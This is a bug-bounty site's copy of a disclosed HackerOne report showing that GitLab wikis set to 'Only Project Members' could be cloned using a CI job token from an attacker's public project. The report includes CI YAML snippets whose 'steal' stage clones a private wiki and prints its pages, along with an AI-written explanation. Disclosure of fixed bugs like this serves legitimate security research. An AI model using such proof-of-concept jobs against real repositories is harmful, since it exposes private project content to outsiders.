Skip to content
Access control Disclosed report Intermediate

Backend: Able to git the wiki despite of the Only Project Members setting

A project's wiki set to 'Only Project Members' could still be cloned by an attacker using a CI job token from a public project. This allowed reading private wiki content.

GitLab

Originally disclosed on GitLab

  • Fixed in 16 months
  • Disclosed after 16 months

HackerOne report #1075586 by shells3c on 2021-01-10, assigned to @rchan-gitlab:

Report | How To Reproduce

Report

Summary

There was a problem by mistake while confirming the patch for the Wiki bug in the past report: #887755, and the fact that the bug is still there! I am able to git private wiki using the CI_JOB_TOKEN (public project)

Steps to reproduce
  1. Create a project, set the Wiki visibility to Only Project Members in the setting page: https://gitlab.com/<user>/<project>/edit
  2. Login as another user (attacker), create .gitlab-ci.yml in an arbitrary project:
YML
stages:      
  - steal  
test:      
  stage: steal  
  script:      
    - 'git clone http://gitlab-ci-token:[email protected]/company/api.wiki.git'  
    - 'cd api.wiki && cat api-doc.md'  
  1. In the pipeline output, you will able to read the content
Examples
YML
stages:      
  - steal  
test:      
  stage: steal  
  script:      
    - 'git clone http://gitlab-ci-token:[email protected]/just4hack2/mypro.wiki.git'  
    - 'cd api.wiki'  
    - 'ls'  
    - 'cat home.md'  

Impact

Able to read the private Wiki of Gitlab projects

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CI job token was not properly checked against the wiki's visibility setting, allowing access to private wikis.

Impact

An attacker could read the private wiki of a GitLab project.

What the attacker needed

A GitLab account; ability to create a project and run CI

How it was found

  1. Create a project and set Wiki visibility to 'Only Project Members'.
  2. Log in as another user and create a .gitlab-ci.yml file in an arbitrary project.
  3. In the CI script, clone the wiki repository using the CI job token.
  4. Read the wiki content from the pipeline output.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A wiki is a collection of pages for a project. The setting 'Only Project Members' is meant to keep it private. But a special token used in automated build jobs could still access it, letting an outsider read the wiki.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.